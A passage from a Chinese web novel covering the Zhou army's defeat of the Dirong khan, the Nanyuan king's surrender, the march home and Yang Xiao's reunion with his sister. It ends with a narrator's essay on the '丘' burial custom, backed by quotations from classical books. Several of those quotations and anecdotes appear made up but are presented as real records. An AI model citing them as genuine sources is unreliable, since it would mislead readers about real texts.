经历了这四波射杀,待到那些狄戎族人冲到近前时早已死伤惨重,皇帝武昭只是微微点头,便有身边将领会意而去。 步兵冲杀,骑兵穿插,弓弩射杀,两方人马杀的昏天暗地,就连那些操作床弩的人员也取下背上的弩机来,加入了弓箭手的阵营。 正面战场上杀的难解难分,侧翼方向上杨笑的三十万大军也已杀到。 两面受敌,不用多少时间狄戎族就已落了下风,几次冲杀都未能冲破周军设下的包围圈。 就在这时,有一人一骑独自出现在狄戎人的身后。 来者黑盔黑甲黑靴,手里提一杆乌黑钢枪,那枪尖上射出的寒芒慑人心魄,一件鲜红罩袍似是饮饱了鲜血,胯下骑一头黢黑猛虎,那虎的皮毛油黑发亮,人马望之生畏。 来的不是别人,正是大周虎威将军右路军统兵征讨先锋官:杨笑! 话说大可汗听得来报,说是杨笑一人一骑从身后杀来,气的大可汗当场大叫一声:“哇呀呀呀……!狂妄小儿,真真气煞我也!”只见那大可汗双目之中似要喷出火来“左右何在?” “有!” “于我将那杨笑的头颅砍来!” 狄戎人的大小将领们也知道那杨笑身怀异术,能与那些异人斗的有来有回,也是不敢大意,于是分出五千骑兵五千刀斧手前去迎战杨笑。 五千骑兵先是驮着刀斧手们一起向杨笑而去,本来五千骑兵对五千刀斧手,正好一个带一个,但是那为首的骑兵将领偏要搞特殊,这么下来就有那么一个倒霉蛋没人带了。看着众人都骑在马上飞奔而去,那个倒霉蛋也只能屁颠屁颠的在后面吃土了。 嗯嗯……诸位看官老爷,这一刻耳边是否响起了达叔的那句经典台词?不要问怎么就那么寸,人数就那么正好,一个不多一个不少?问就是作者……本棍就是这么安排的。 我的小说我还不能说了算啦? 待到行至冲锋的距离时,骑兵们便放下刀斧手纷纷列阵,准备发起冲锋一齐向杨笑掩杀过去。 那带头的将领面对杨笑明知故问道:“来者何人?” “大周杨笑!” 言毕,杨笑率先发起了进攻。 对面的狄戎族将领见状也是一声令下发起了冲锋。 面对冲杀而来的大批人马,只见小黑四爪抓地,身子微微后蹲,一个气沉丹田,然后虎口一张……。 一声虎啸镇山林,百兽闻声具丧魂。 只见那五千匹战马被这一声虎啸吓的不是当场屁滚尿流,倒地不起,就是惊慌乱窜,不受控制。 五千骑兵瞬时去了大半,剩下的小半也是骑兵改步兵。 因为都被战马甩在地上,然后那马儿便一溜烟儿的跑了,只留下了一个个灰头土脸的骑兵。不跟着刀斧手改步兵还能怎么办,一起杵在那里干瞪眼吗?。 好一个杨笑,凭着这身修为,一人一虎,单骑凿阵。以他现如今的修为,就算没有那件宝甲护体,他只需运起气来,凭那些凡铁也是难以伤到他。 至于小黑……但凡有一个鞑子兵敢让它够得着的,全都是一口一个,那叫个嘎嘣脆。 是以,杨笑单枪匹虎只管埋头冲杀,手里一杆长枪舞起来只让人觉得眼花缭乱,真真是叫一个枪出如龙,视眼前敌人如草芥。 杀起来铛铛铛……如同砍瓜切菜。 咦?三藏法师那句话是怎么说的来着? 不管他了,反正这一幕要是被“曹老板”看见了,定然要再次大呼:这是谁的部将? 五千刀斧手,再加上剩下的那点没了马的“奇兵”跟本就挡不住杨笑的脚步。不一会儿,就被杨笑杀穿了阵型。 这一边,大可汗正指挥大军陷入苦战之中,就听有人来报,说是一万人马没能挡住杨笑,被他杀穿军阵,往这边来了。 本以为自己摆出背水一战的姿态,最起码后背是不用考虑安全问题了,不曾想竟然杀出这么一个狠人,单枪匹马就要把自己的后路给抄了。你说你堂堂一军统帅,待在大帐里指挥大军冲杀不好吗?非要一个人跑出来冲锋陷阵,你是在战场上杀人上瘾吗? 现在各路兵马全都在苦战之中,战场态势万分凶险焦灼,自己身边也只剩千余亲兵侍卫能够调用了。难道自己几十万大军就这么被一个人抄了后路,成为那史书上的千古笑话吗? 就在大可汗心中念头飞速闪过的时候,一柄弯刀裹挟着风声擦着他的头皮呼啸而过。 “锵”! “噗”! “咵嗒嗒……。” 大可汉的头盔被打落在地,刀插在不远处的地上。 还好,发型没有乱。 反应过来的大可汗定睛一看,原来这一会儿的功夫杨笑已经杀到了距离自己百余步的地方。 看看不远处的杨笑,再看看地上那把刀,大可汗一时间冷汗直冒。 就在这时,只听南苑王拔剑高呼一声:“大可汗听信妖言,陷我等于绝境,我南苑各部反了!” 一声令下,原本还在与周军苦战的南苑各路兵马纷纷倒戈,向着大可汗所在位置杀去。 随着南苑王的临阵倒戈,又有十几个部落紧随其后纷纷调转矛头加入了倒戈的阵营。 大可汗见此,知道大势已去,无力回天,于是不由纷说拨马便逃,口中大呼:“撤,快撤!” 那些还在战场上苦苦挣扎的狄戎族人听到这一声撤退的命令后纷纷丢盔弃甲,哗啦啦全都往西而去。 现如今,也只有西边的大山还算是一条不是活路的话路了。 说它不是条活路,是因为莽莽大山,山高林密,坡陡水急,跟本就是无路可走。 说它是条活路,是因为一旦进入群山之中,那些有头有脸的大人物定然是难逃周军的搜捕,而那些身为普通军卒的小鱼小虾们,到时候只要四散而去,躲在这深山老林中,只要周军没能第一时间找到,相信之后也就不会为难自己这些炮灰了。 大可汗一路上狼狈逃窜,慌不择路,可不管他往哪儿逃,杨笑都在他身后就那么不远不近的跟着。 到这会儿,自己身边的侍卫早已死的死,逃的逃,就只剩下他一个光杆饭司令了。 大可汗心里那个苦啊! 大可汗一边逃一边时不时的回头看一下杨笑,结果一个不小心就被一根低垂的树枝从马背上给挂了下来。 皮帽也掉了,头发也散了,脸上也破相了,身上的衣服也摔破了。 披头散发,灰头土脸,好不狼狈。 大可汗也顾不上这些,连忙从地上爬起来,一瘸一拐的往前跑着。 杨笑也不着急,还是那么不紧不慢,不远不近的跟着。 不知道又往前跑了多久,尽管早已精疲力尽,但大可汗却不敢停下来,他知道停下来的后果是什么。 沦落为昔日对手的阶下因,对他来说是莫大的耻辱。 有心刎颈自尽,可他的配刀早已不知道丢在了哪里。兴许是先前从马上摔下来的时候丢的,也兴许是更早之前。 这该死山,远远看去那般险峻,怎么进了山里连个悬崖深涧也看不见? 就在此时,忽的有一骑从树后窜出来,大喝一声,不等大可汗反应过来便是一个手起刀落,将一颗大好头颅给砍了下来。 一阵天旋地转后,落在地上的头颅才看清了来人。 “死在这人的手上也不算辱没了自己的名声。” 想到这里,大可汗竟生出一种末名的欣慰来。然后就是越来越模糊的世界和无尽的黑暗。 正是:踏雪刀光起,独斩大可汗。了却君王天下事,好叫强虏识得我汉家好儿男! 欲知后事如何,且听下回分解! 第一百六十三回 班师回朝 书接上回。 话说那韩擒虎进得山后一路追杀敌军毙敌无数,忽然透过树丛见一狄戎族人狼狈逃窜,于是二话不说驱马跃出树丛挥刀就砍下了那人的脑袋。待他上前两步低头一看,才看清了那颗头颅竟然是狄戎族的大可汗。 只见韩擒虎眉头一皱,心道:“这鞑子的可汗怎么会孤身一人逃到了这里,身边连个侍卫也没有?” 就在这时韩擒虎听到有脚步声传来,忙心生警惕抬头望去。 “韩将军阵前斩将,大功一件。”杨笑笑道。 韩擒虎连忙下马参拜道:“韩擒虎拜视将军。未将无心之举,没想到竟坏了将军大事,还望将军责罚。” 到这时韩擒虎哪里还能不知道自己办了一件什么样的错事。将敌军首领生擒活捉与只带一颗头颅回去,那可是相差甚远啊! 说着韩擒虎便跑过去将那颗头颅拿过来,双手献上:“末将不敢贪动!” 杨笑微微一笑道:“没关系的,韩将军拿着便是。” 各路兵马进山搜剿敌军余孽,皇帝武昭便在山下扎下营帐。 拿灯时分,南苑王在几名心腹部下的陪同下,带着一众反叛部落的首领由待卫带到了武昭面前。 进得大帐,南苑王纳头便拜,行君臣之礼:“下邦罪臣拜见天朝上国皇帝陛下,万岁,万岁,万万岁。” 一众首领也跟着南苑王三叩九拜。 “两国交战,生民涂炭。今日之前罪臣种种所为皆因身陷其中,形之所迫,实非罪臣心之所愿。幸得虎威将军点拔,得以迷途知返。今日临阵易辙,有金帐王阿霍都头颅一颗,献于陛下做头名之状,以表忠心,愿率南苑百姓从此归顺大周。万望陛下容罪臣补过,许罪臣追随,必肝脑涂地,忠心不二!” “万岁,万岁,万万岁!” 南苑王说完将一个布包放在地上,然后再次三叩九拜,以更洪亮的声音山呼万岁。 拜毕将布包打开,里面露出一颗头颅来,正是狄戎族金帐王阿霍都的头颅。 武昭看了看南苑王等人,又看了看那颗头颅。轻轻一笑道:“南苑王。” “罪臣在。” 南苑王立刻把头又低了低应道。 “你的忠心朕倒是看到了,只不过你以区区南苑一境来投,这份忠心……。” 见武昭故意把话只说一半,南苑王立刻会意。这是大周的皇帝陛下慊自己的忠心表示的不够啊。于是他立刻说道:“回禀陛下,现如今浑邪王尚在,大可汗所去不明,臣率南苑部众归顺已是能力所极,万望陛下明查,如有虚言愿死无葬身之地。” 就在这时,杨笑与韩擒虎一同来到帐内。 二人扫了南苑王等人一眼,上前一步向皇帝见礼后,韩擒虎将一个黄布包举过头顶抢先说道:“陛下,杨将军孤身擒获敌军大可汗,现有头颅在此。” 武昭闻言双目一凝。 早有侍卫将那布包打开献于武昭案前。 武昭看后连说三个好字:“杨笑我儿大功一件!” 大帐内左右文武也全都上前观看,果真是那狄戎族的大可汗,于是众文武全都恭贺皇帝此战大获全胜。 武昭听着左右众文武的恭贺之言也是不由的喜从心生,脸上挂满了抑制不住的笑容,但他并没有被眼前的胜利冲昏了头脑。只见他呵呵笑道:“此战全赖众将士与诸位臣工同心协力方可获胜,只不过……说大获全胜为时尚早,为时尚早哇。” 这时韩擒虎又道:“陛下,未将有罪,还请陛下责罚。” “哦?韩将军何错之有,说来听听。” “禀陛下,此番擒获敌首,杨将军本可将其生擒,都是因为未将的过错,才坏了杨将军的不世之功。”说着就把杨笑当时是如何像遛狗一般戏耍那大可汗,狄戎族的大可汗又是如何的精疲力竭,狼狈不堪,逃无可逃,自己又是如何误打误撞坏了杨笑一份已经拿到手的功劳。韩擒虎把整个过程说的生动诙谐,惟妙惟俏,就好像他一直就跟在一侧旁观一般。 在场众文武听罢戏笑不以。 皇帝武昭也是笑道:“嗨!些许过错无伤大雅,韩将军无需挂怀。” 显然,胜利面前武昭的心情甚是不错,并没有把韩擒虎的过错放在心上。 必经像大可汗这等枭雄,要想让其真心归顺几乎就是不可能的,就算是归顺了大周,皇帝对他又能放多少个心呢?别一个搞不好再弄出“放虎归山”的隐患来,到那时候可就是后患无穷了。这么一想,活的倒不如死的好了。 这一边君臣和睦,那一边跪在地上的南苑王等人,从见到那颗头颅的一刻起,早已经把脸上的神情变了又变。 一个个的难免要在心里嘀咕一句:还好杨笑和韩擒虎带回来的只是一颗头颅,若是真的把大可汗生擒到此,咱们这些个临阵倒戈的首领将军们该如何自处啊? 尤其是做为儿子的南苑王,面对身为父亲的大可汗,无论如何,脸面上总归是过不去的。 此时的南苑王目光闪烁,把眼珠子转了转,他的心中已然有了决断。只见他俯首说道:“陛下,如今贼首虽死,可那浑邪王尚在,此番他必继承大可汗之位,不日便又是我大周的心腹之患,罪臣愿率领南苑部族代王师征讨之,以为罪臣之忠心,望陛下明鉴。” 武昭闻言“哦”了一声,指了指大可汗的头颅问道:“你刚才说什么?” 南苑王回道:“大可汗虽是罪臣的父亲,但罪臣既已归顺陛下,自当对陛下忠心不二,大可汗与陛下为敌便是贼子无疑,罪臣愿率南苑部族为陛下征讨贼子余孽。” “愿为陛下分忧。” 一众归降的首领将军们也跟着俯首说道。 武昭闻言呵呵笑道:“南苑王还有各位首领莫要着急,容朕与诸位臣工商议一二。” “来呀。” 有披甲配刀侍卫应声而入。 “陛下!” “好生款待南苑王以及各位首领。” “是!” 那侍卫侧身而立,伸手道:“请!” 南苑王等人叩谢隆恩后跟随那侍卫而去。 大帐内一众大周君臣文武就当下形势展开了一场简短的讨论。 武昭用手指轻轻敲着桌子:“贼首的头颅已经在这里了,接下来该怎么办……百万大军何去何从呢?诸位臣工不防都说说看。” 众文臣武将一时间有相互交头接耳商量的;有抚须颌首沉默思考的;有目光闪动左右张望的;也有那挠头发愁不知道该怎么办的。 武昭看众人商量的差不多了,便说道:“三位王爷是什么意见?不妨先说说看。” 东安王,南越王,北静王,三位藩王相互看看,由南越王起身道:“陛下,眼前我军虽说已经取得了不小的胜利,但鞑靼们尚有众多余孽在逃,其疆域大半土地尚在他们的掌控之下,说大获全胜确实为时尚早,眼下最要紧的就是尽快剿灭这些余孽。对此南苑王等人倒是可以物尽其用,让他们来个狗咬狗,在前面冲当炮灰,等他们斗个你死我活,两败俱伤的时候我军再雷霆一击,彻底覆灭狄戎族。至于那雪蕃族……一群只知贫图小利,龟缩不出的东西,虽说态势尚无明确变化,却也不着急收拾他们。这就是臣等三人的看法。” 武昭点点头:“恭儿可有什么看法?” 大皇子武恭起身道:“陛下,儿臣的看法与三位王爷差不多,但儿臣认为南苑王等人不足以信,还是要用我大周自己的力量将这帮鞑靼斩尽杀绝才是最稳妥的办法。” 武恭的话引起了在场多数人的共鸣,尤其是在坐的武将几乎全都同意武恭的意见。 接着又有几名文武要员发表了自己不同的看法,武昭全都仔细听取并不时的提笔记录一二。 “杨笑呢?杨笑有什么看法?南苑王既然是你降服的,你又有什么看法呢?”武昭见扬笑一直没说话便问道。 杨笑起身道:“回陛下,儿臣以为那狄戎族虽有半数未灭,却也难有卷土重来的实力。那南苑王既然临阵易帜,又杀了金帐王,便再无半分回转的余地,只能选择老老实实的投靠我大周。是以,陛下大可放心命其带领部族替我朝牵制北方,就算灭不了浑邪王,但消耗他总是不难的。待到日后有机会我军再挥师北上,一举将其歼灭不迟。” “反观那藩族,毁我城池,杀我子民,掠我钱粮,其所作所为人神共愤。尤其是那望山城内,一州百姓三十余万尽皆惨死在其手中,儿臣以为于公于私都不可轻饶了他们。所以,儿臣认为当下应立即挥师向南,灭其社稷,毁其宗庙,绝其苗裔,方可告慰我大周历代君王,方可告慰我西梁百姓,方可告慰望山城三十万冤魂!” 杨笑一番话说的康慨激仰,在场的武将几乎全都响应,尤其是西梁境的,不管文臣还是武将一个不落全都请命要让雪藩族血债血偿。 ………… ……茫茫的原野上白雪皑皑,除了风声,剩下的便只有被风卷起的一片片雪花,撞碎在枯草树技上的声音了。 一声嘹亮的鹰隼长鸣声打破了这份寂静。 长鸣过后,一个黑点穿过铅灰色的云层,从空中飞快的向原野中的一片帐篷处落去。 临近地面时,那只鹰隼猛地一个翻身,双翅一张,便轻巧灵活的落在一人的手臂上。那人从鹰隼的腿上取下一个小拇指大小的东西,将其交给身边的另一个人,那人接过后便转身进了身后的帐篷。 帐篷内一个肤色偏黑,留着两撇小胡子,颌下蓄有短须的男子,盖着一条裘皮毯子斜躺在那里。 正是浑邪王。 听到有人进来,浑邪王眼也不睁的问道:“什么事?” 那人迈着小碎步快速走上前,双膝跪地将手里的东西举过头顶:“大王,有要紧的消息从前面传回来了。” 浑邪王睁开眼,接过那人递上来的东西。 是一个用树皮做成的小东西,一头盖着盖子,一头用黄泥堵了。 浑邪王打开盖子,从中空的腔洞内掏出一小破块兽皮来。 那兽皮约么巴掌大小,薄到极致,几乎呈透明状,上面密密麻麻的写满了狄戎族的文字。 浑邪王只看了一眼那兽皮上所写的内容便啪在一声把它抓在了手中,随即便猛地坐起,结果不小心扯动了身上的伤口,疼的他直咧嘴。 当日落星坡下杨笑的那一箭差点没要了他的命。 浑邪王缓了好一会儿那股割肉剜骨般的疼痛才好了一些,只见他黑着一张本来就不白净的脸,绷紧了嘴唇,眼神变了又变,最后说道:“去请几位族老过来。” 没一会儿,几位长老鱼贯而入。这几人年纪最大的须发皆白,走路都需要人搀扶,年纪最小的身体虽说还硬朗,但头上的白发也是很明显了。 等几人都在帐中坐定后,浑邪王便挥挥手让帐内的婢女全都退了出去。 浑邪王将那块兽皮给几人传阅一遍后问道:“几位族老怎么看这件事情呢?” 几人于是凑到一起商量了起来……。 “嗯嗯,这样也好。” “眼下也只有这样了。” “这已经是最好的办法了。” “……。” 几个人统一了一下意见后,只见那最年长的长老抚须说道:“当勿之急是要稳住我族各部不要内乱。我等都一致同意由大王立即继承大可汗之位,以安人心。” “请大王继承汗位。” 余下几人也附和道。 “好!既然几位族老都这么说了,那本王便接下这大可汗之位。” 帐中几人闻言全都匍匐在地,齐齐参拜新任大可汗。 至此,昔日的浑邪王摇身一变成了狄戎族的大可汗。 待几位长老参拜完毕,新任大可汗便传下了第一道命令。 “传令下去,为了避免我族的进一步损失,前方所有部落全部离开传统越冬地,向黄龙山方向后撤五百里。沿途部落勿必尽力帮助迁徙的族人,违令者斩!” “谨遵大可汗旨意!” ……… 昏暗的帐篷中,地上的炭火忽明忽暗,墙壁上油灯里的火苗轻轻地跳动着,带动帐篷里的影子也跟着一起轻轻地跳动着,明灭着。轻轻作响的炭火旁,南苑王和一众首领或坐或立的围在火堆旁。 大家各自想着心事,谁也不出声。 良久,一个大胡子壮汉站起身来,焦躁地在帐篷里来回地踱步。 “唉,也不知道大周的皇帝会怎样处置我们,这样的等待可真是让人煎熬啊!”壮汉重重地叹了一声道。 “怕什么?死路肯定是不至于的。” 有人不以为意。 “既然走到了这一步,那就没什么可后悔的啦。” 有人缓缓道。 南苑王轻叹一声:“放心,大家都不会有事的,只希望大周的皇帝对我等的管束不要太过严苛就好。” 这时,帐篷外传来一声:“南苑王接旨!” ……… 在此之前……。 大帐内,就在众人群情激奋之时,首辅张居禄站了起来。 “陛下,臣有一言。” “哦?老首辅有话尽管说来。” 张居?应了一声“是”,正了正身子后缓缓道:“陛下,诸位将军,大臣们,老朽的话可能要泼一泼诸位的冷水了。” “诸位可知我朝百万大军战至今日,军中的粮草还剩少?后续朝庭能够筹集并送到前线的粮草又能维持多久呢?” “当初不是说接上今年夏收的粮食还能再够用半年吗?”有人问道。 “不错,当初的估算是这样的。可去年冬去极晚,今年春来又迟,整个冬天又连降大雪,致使北方多地都遭受雪灾,百姓的处境就更加坚难了,再加上去年秋收又不比往年……。” 张居禄说着离开坐位来到大帐正中 “三位王爷。” “呃,老首辅有话请讲。” “不知三位王爷各自辖境内,去年秋收粮米产量如何?” 南越王道:“南越地界温暖多雨,虽有减产,但变化不大,勉强能与往年持平。” “好,那么东安王呢?” “相比往年有所不济,不过节俭一点也还过得去。” “北静王辖境内想必是……欠收的吧?” “确实如此。要不是这场战争,早就需要朝庭赈灾了。” “诸位大臣们,不知你们近期可曾有收到各地民生情况的汇报?” “……不曾。”众人面面相觑后回道。 “陛下,微臣这里有一份刚刚从户部发来的文书”张居禄说着从袖中掏出一份文书来“这里面详细说明了我朝当下在钱粮方面所面临的巨大困境。今春回暖缓慢,各地青苗的生长播种较往年大为推迟。刚入春就已经出现了严重的青黄不接。若是再强征军粮只怕就要出现大面积的饥荒了。” “所以微臣的意见是,不如将牵制狄戎族余孽的事情就交给南苑王他们去做,我军就此搬师回朝,于民休息,至于那雪藩族……”张居禄说着来到杨笑等西梁将土的面前,拱手谦意道“也只好等以后朝庭的情况好转再行讨伐了。” 一众西梁将士你看看我,我看看你,一时间也不知道该说什么好。 “杨将军?”张居禄上前一步来到杨笑面前。 李伯通也将目光投向了杨笑。 眼下西梁王早已贵为天子,大皇子武恭身为皇族也不好开口,无形之中杨笑便成了西梁军的代表人物,只要说通了西梁军,其他的将士们便问题不大了。 杨笑见状也只好无奈地点了点头。 李伯通得了杨笑的授意便拱手回道:“我西梁境虽说人人家仇国恨深重,却也不能不顾咱们大周百姓的死话,一切愿听从陛下与朝庭的安排。。 “诸位将军深名大义,老朽在这里谢过诸位了。。 张居禄闻言松了一口气,与众人一一回礼后回了座位。 大帐内众人一时间又开始交头接耳,小声的讨论起来。 武昭看完了张居禄递上来的文书,将其轻轻地放在桌案上:“常言道人算不如天算,看来还真是天意从来高难问呐。” “恭儿。” “儿臣在。” “南苑王的事情就交给你来处理了,务必不要出现疏漏。” “儿臣遵旨。” “还有,此番斩获敌首史所罕见,杨笑功不可没,当于此山中刻石立碑以为后人记。” 大皇子应声领命。 “传旨,明日班师回朝。” 百万大军回程在既,这一回又会发生哪些事情?杨笑还有没有机会为枉死的西梁百姓报仇雪恨呢?欲知后事如何,且听下回分解! 第一百六十四回 丘 第一卷人间风云 第四篇雨落 塞外冰雪寒,城中春意浓。 虽说今年春来极晚,但到了来的时候却也格外浓烈。原本万物生发还有个早春与晚春的区别,现在却是一股脑儿地聚在一起,发芽的发芽,开花的开花,使得这个春天愈加暖意融融,花团锦簇。就连那些鸟雀虫蚁也像是生怕错过这个春天似的,一个个扎着堆儿地撞进人们的眼睛里。天地仿佛一夜之间就从冬天跨入了春天。 回程的大军在西梁城暂作休整。西梁王府内,武昭在这里接连召开了十多天的大朝会,将堆积如山的军国大事先检要紧的做了个大概的处理。 这一天下朝之后,杨笑请了假,要回东仓县家中看望姐姐。 ……(高级转场声) 虎威山庄外,杨落儿时不时地踮起脚尖,使劲儿地伸着脖子往县城的方向张望着,那份想要早点见到弟弟的心情实在是让她有些坐立难安。尽管暖暖的日头将她的额头晒出了一层细密的汗珠,尽管脚下的路都被她踩秃了一层皮,可她却浑然不觉。自从两个时辰前得到弟弟将要回来的消息后,她就一直等在这里了。 回想起杨笑从军后的日子,似乎每一分每一秒都充满了担忧与牵挂。那些关于战场的残酷传闻,总是在她的脑海中挥之不去,她无数次在夜里从噩梦中惊醒,冷汗浸湿了枕头。尽管弟弟早已不是第一次从战场上回来了,但她依旧难免这份急切期盼的心情。此时的杨落儿不时的在心里念叨着弟弟的名字,仿佛这样就能让弟弟早点出现在眼前。 漫长地等待中,时间仿佛都凝固了,眼看着日头逐渐偏西,却还是不见杨笑的踪影。 “这孩子怎么还不来?不行,我不能在这儿等了,还是往县城那边迎一迎吧。”杨落儿在心中默默盘算着,嘴里也不住的念叨着。 就在这时,远远地看到路的那一头拐出一道道人影来。杨落儿见状喜道:“来了,来了,终于来了。”一边说着一边着急忙慌地就往那边迎了过去。 旁边身后的王婶还有丫鬟小翠也连忙追在身后:“小姐呀,您慢点,可别摔唠!” 王伯也拉着马车追上来:“小姐,上车,车更快些。“ 主仆四人上了马车,王伯打了个响鞭,那马儿仿佛也知道主人的急切心情,撒开四蹄飞奔起来。不一会儿就来到了那支队伍跟前。 杨笑远远地看见姐姐撩起车帘往这边张望,看到姐姐乘着马车前来迎接自己,也是连忙催动小黑赶上前去。 等走到马车跟前杨笑翻身从小黑的背上跳下来,单膝跪地道:“杨笑拜见姐姐。” 杨落儿也是连忙跳下马车,上前一把拉起这个让自己日日夜夜都惦念着的亲人。本来有千言万语想要对他诉说,可等真到了跟前却又不知道该说些什么好。望着这个自己在这世上最是亲近的人,上上下下的看了这么好几遍才说出一句:“一下子自出去这么久,一定累坏了吧?看看你,都晒成什么样子了。” 杨笑站起身来扶着姐姐的手臂说道:“没事的,些许疲惫只要稍稍运功就好了,倒是害姐姐担心了。” 这时小黑也凑到杨落儿的跟前,用脑袋轻轻地往她的身上蹭着,以向女主人表达自己的心情,那个样子就好像是在说:“主人,我也很想你,我也很棒的。” 杨落儿摸着小黑的大脑门儿轻声笑道:“知道,知道,我们家小黑可厉害啦!” 这一边姐弟情深,那一边王大勇也被父母拉住嘘寒问暖。 王大勇见过了父母,也到杨落儿的跟前行礼:“大勇拜见小姐。这回大勇跟着少爷也是见过了大世面,大场面,也算是为少爷帮了一点点小忙,这还要多谢小姐的恩典。” 杨落儿点头道:“大勇,你做的很好。若是喜欢在军中效力,以后就跟在笑儿身边,将来要是能挣得军功封了官身,我就放了你的奴籍,让你带着父母前去就官,你也好告慰先人,光宗耀祖。” “多谢小姐的恩典。这次出门少爷已经赏了我军功,但大勇只想跟在小姐少爷身边,并不想外放去当官。” 杨笑道:“这里风凉,姐姐,我们还是先上车回家再说吧。” 杨笑扶姐姐上了车,与杨落儿同乘马车往回走。 小翠趁着小姐少爷说话的空走到小黑跟前,在它的膀子上一拍:“小黑,有没有想我?” 小黑把脑袋点了点,又往小翠的身上蹭了一下。 “好小黑,一会儿我多给你带点好吃的。”说完小翠便赶忙跑过去伺候自家小姐上车。 王伯老两口也上了马车。 王大勇搀扶着父母上车后,接过王伯手里的鞭子,把鞭子一扬,鞭梢在空中划过一个漂亮的弧度,“啪”的一声打了个响亮的响鞭,王大勇轻呼一声“嘚儿喝”,驾起马车载着主仆五人往回走去。 …… 入夜,虎威山庄张灯结彩就像过年一样热闹,杨落儿张落了一大桌子的酒菜为杨笑接风洗尘。山庄里的大小管事杂役们也跟着沾光,不仅吃了顿好的,还得了赏钱,每个人的脸上都洋溢着笑容。 杨落儿为小黑准备了一大只肥美的烤全羊,把小黑馋的,就流着口水守在那火炉旁。 那烤羊的师傅是在山庄里待了多年的老厨子了,对于自家少爷的坐骑也不是第一次见了,也还算是熟悉,但对于一头猛虎流着口水趴在身旁紧紧地盯着自己这种事……紧张是在所难免的。只见他一边撒着佐料一边在嘴里说着:“神虎大爷您别着急,马上就得,马上就得。” 一场接风宴,主仆宾客尽欢。 第二天吃过早饭,杨落儿陪着杨笑一起到山上看望五公主。 每每来到这里杨落儿总是忍不住的心情沉痛,眼眶里总要有泪珠打转。 多好的媳妇儿啊!怎么就这么早早地就走了呢? 老天爷为什么要这么狠心? 简单的祭奠过后,杨笑轻声道:“过些日子陛下可能要在圣京郊外选一处地方,为星洛修一座陵寝。” 杨落儿叹了口气说道:“修吧,修吧。你还年轻,总不能让弟妹就这么一直丘在这里,还是早点入土为安的好。” 说到这里,诸位看官可能会有所不知了。常言道:百年修得同船渡,千年修得共枕眠。夫妻二人携手一生,欢喜顺遂也好,吵闹磕绊也罢,到了人生的尽头,两个人总是要一前一后分开走的。当然了,夫妻恩爱携手归天的也有,只不过那样的事情太少了,在这里不作讨论。 按照民间的习俗,夫妻二人有一人先离世的,若是男人先不在了,是可以直接葬在祖坟里入土的,而若是女的先离世了,是不可以直接下葬的。需要捡选一处地方,或在平地上用砖石垒砌成坟茔,或寻一处洞穴安置棺椁,这种安葬方式就称之为“丘”。 什么时候能入土为安呢?那就是等到男的去世时再一同下葬。 生同寝,死同穴。 这就叫夫妻。 为什么会有这样的丧葬习俗呢? 古人有事死如生的说法,这样的讲究是怕夫妻二人在黄泉路上走散,到了阴冥地界难以团聚。 那又为什么男的先去世后不用“丘”起来,而女的先去世后就要先用“丘”这种安葬方式,再等男的一起入土为安呢? 那是因为古时讲究个男尊女卑,男主外,女主内。男人是可以成家立业的,而女人则没有成家立业这一说,需要遵守“在家从父,出嫁从夫,老来从子”的规矩。也就是说女人不管是在人世还是在阴间都需要有一个男人成的“家”才好安身立命。 男人去世后直接入土,到了阴间鬼域也能自立门户。而女的直接入土,在阴间就会无处安身,到时候还不知会漂落到何处去,也许从此孤苦无依,也许就被别的厉鬼抢去做了鬼妻,更甚至直接被厉鬼吃了果腹。 对于事死如生的古人来说,不管哪种结果都是难以接受的。 有没有女子去世后直接入土为安的呢? 有! 只不过这需要丈夫的点头应允。 有看官可能会问了,那丈夫点头应许后先去世的女人为什么就能直接下葬,入土为安呢?难道就不怕妻子的魂魄到了阴曹之地孤苦无依吗? 古人传言,丈夫的应允就好比是得了一道天地间无形的官凭路引,黄泉路上拘魂拿魄的鬼差就不会为难死者。到了阴间,夫家的祖宗先人凭此就能认出是自家儿孙后辈的媳妇儿,从而接纳她。这样一来女子在那边便有了安身之所,等丈夫来时便好夫妻团圆。又或者得了丈夫的应允之后便可自决去处,投胎转世。 又有看官可能要问了,那女子就不能在那边投靠自己的先祖吗? 要知道古时的女子多是可怜人,很多地方连自家的族谱都上不了,又有那“嫁出去的闺女,泼出去的水”这样的说法。身在阳世间尚且有家难回,到了阴曹幽冥之地你又让她去哪里找祖宗投靠呢? 诸位看官,这些可不是本棍胡编乱造出来的,而是从古至今真实存在的丧葬习俗,不但本棍的家乡有这样的习俗和传说,就是古书上也记载有各地相似的丧葬习俗和传说。不信的话本棍这就给大伙儿找一些出来: 话说这夫妻二人携手一生,恰似《诗经》中“死生契阔,与子成说”的誓言,然月有盈亏,寿有定数,终究要面对生死长诀。 北宋《太平广记》载一奇闻:河中府张氏夫妇情深,妻王氏病笃时紧握夫君衣袖泣道:“黄泉路冷,恐与君失散。“其夫当即咬破手指,在素帕上书“张门王氏“四字为凭。这则故事恰为古代丧葬制度作了凄美注脚——生死相隔时,总要为幽冥重逢留下凭证。 《礼记·郊特牲》有载:“妇人,从人者也。“这七个字如同千年枷锁,将女子生死皆系于夫族。 汉代大儒郑玄注解丧仪时特别强调:“妇人不二斩“,意指女子丧服不缝边角,象征其终身依附地位。 这般观念投射到葬俗中,便催生了独特的“丘“葬制度:先逝妇人如飘萍无根,需暂厝丘坟以待夫君,正如《颜氏家训》所言“妇人之柩,非夫在不当葬“。 民间流传着“望夫丘“的凄楚传说:晋代樵夫之妻李氏在丈夫出征期间病故,族人依俗将其棺椁丘于山崖。每逢朔望之夜,崖洞便传出纺车之声,乡邻皆言李氏魂灵仍在纺线备寒衣,等候夫君归来同穴。 这则故事虽属杜撰,却道出了“丘“葬制度最深沉的情感寄托——那些悬于崖壁的棺椁,何尝不是生者给亡者留下的守望之窗? 明代《夜航船》记载过一桩奇案:某县令夫人早亡,依制丘葬三年后,县令梦见妻子泣诉:“妾在阴司客栈候君七载,路引将过期矣。“惊醒后县令急开棺查验,果然在夫人手中发现褪色的朱砂路引。这则志怪故事揭示出古代丧仪中“丈夫允诺“的神圣性——在阴阳观念中,男子的首肯不啻为官府印信,能助亡妻突破幽冥关隘。 这种观念可追溯至汉代“传符”制度,《后汉书·礼仪志》载:“亡者持传,方得过津。”出土的东汉镇墓文中常见“天帝使者告丘丞墓伯,谨为王氏之魂解除殃咎”等语,恰似给亡者开具的阴间通行证。当这种制度投射到夫妻关系中,丈夫的允诺便成为妻子在冥界的“身份文牒”,既能避免成为孤魂野鬼,又可凭此投胎转世。正如《聊斋志异·聂小倩》中宁采臣为女鬼重敛骸骨,便是赋予其“合法”阴籍的隐喻。 